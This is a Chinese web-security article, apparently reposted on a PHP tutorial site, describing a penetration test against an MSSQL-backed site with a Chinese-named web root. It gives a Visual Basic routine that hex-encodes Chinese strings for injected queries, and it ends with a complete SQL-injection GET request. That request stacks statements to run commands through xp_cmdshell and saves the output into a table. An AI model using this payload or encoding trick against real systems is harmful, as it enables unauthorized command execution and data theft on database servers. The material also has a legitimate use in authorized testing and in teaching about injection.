网站地图    收藏   

主页 > 后端 > 网站安全 >

MSSQL注入时对中文字符的处理方法 - 网站安全 -

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 实验室@evan给大家带来实际渗透测试的经验!在一次渗透测试过程中发现对方的网站根目录用的是中文,使用Pangolin测试时,发现类似dir c:\中文路径这种cmd命令执行总是出错,后来用Bu...

实验室@evan给大家带来实际渗透测试的经验!
在一次渗透测试过程中发现对方的网站根目录用的是中文,使用Pangolin测试时,发现类似“dir c:\中文路径”这种cmd命令执行总是出错,后来用BurpSuite对发送的数据包进行分析,发现Pangolin使用了一种类似URLEncode的编码方式对中文进行编码。

如“中文路径”被其编码成为:

xd600d000ce00c400c200b700be00b600


很明显,这里每个中文字符被拆分成了两个双字节且均以00结尾,不符合Unicode的规则,如果是Unicode编码的话,每个中文应当占用2个字节,不应有00出现。

www.2cto.com 看来Pangolin对中文的处理有问题,不过我没办法修改它的二进制代码,只能自己做一个编码程序,然后配合BurpSuite把渗透测试工作执行下去。下面是处理编码的一个小程序中的核心代码,在Visual Basic 2010 Express Edition编译通过。


Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim strOut As String = ""
        For i = 1 To Len(TextBox1.Text)  '逐个遍历传入的字符
            Dim strChar As String = ""
            strChar = Hex(AscW(Mid(TextBox1.Text, i, 1)))  '将当前字符转为16进制表示的Unicode编码
            If Len(strChar) = 2 Then     '如果是ASCII字符,在其后加上00
                strChar = strChar + "00"
            Else
                strChar = Mid(strChar, 3, 2) + Mid(strChar, 1, 2)   '将该编码高低位互换(否则MSSQL解析错误)
            End If
            strOut = strOut + strChar
        Next
        TextBox2.Text = "0x" + strOut.ToLower
End Sub


使用该程序对汉字“中文路径”进行编码后,结果如下:

0x2d4e8765ef8d845f

在Pangolin中设置BurpSuite代理,使用BurpSuite把Pangolin发送的数据包中@z=??的问号部分替换为自己计算的字符编码即可得到想要的结果。

<GET /news_detail.aspx?newsid=3941%20;declare%20@z%20nvarchar(4000)%20set%20@z=??%20insert%20into%20[pangolin_test_table](resulttxt)%20exec%20master.dbo.xp_cmdshell%20@z;alter%20table%20[pangolin_test_table]%20add%20id%20int%20not%20null%20identity%20(1,1)-- HTTP/1.1>
Posted

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论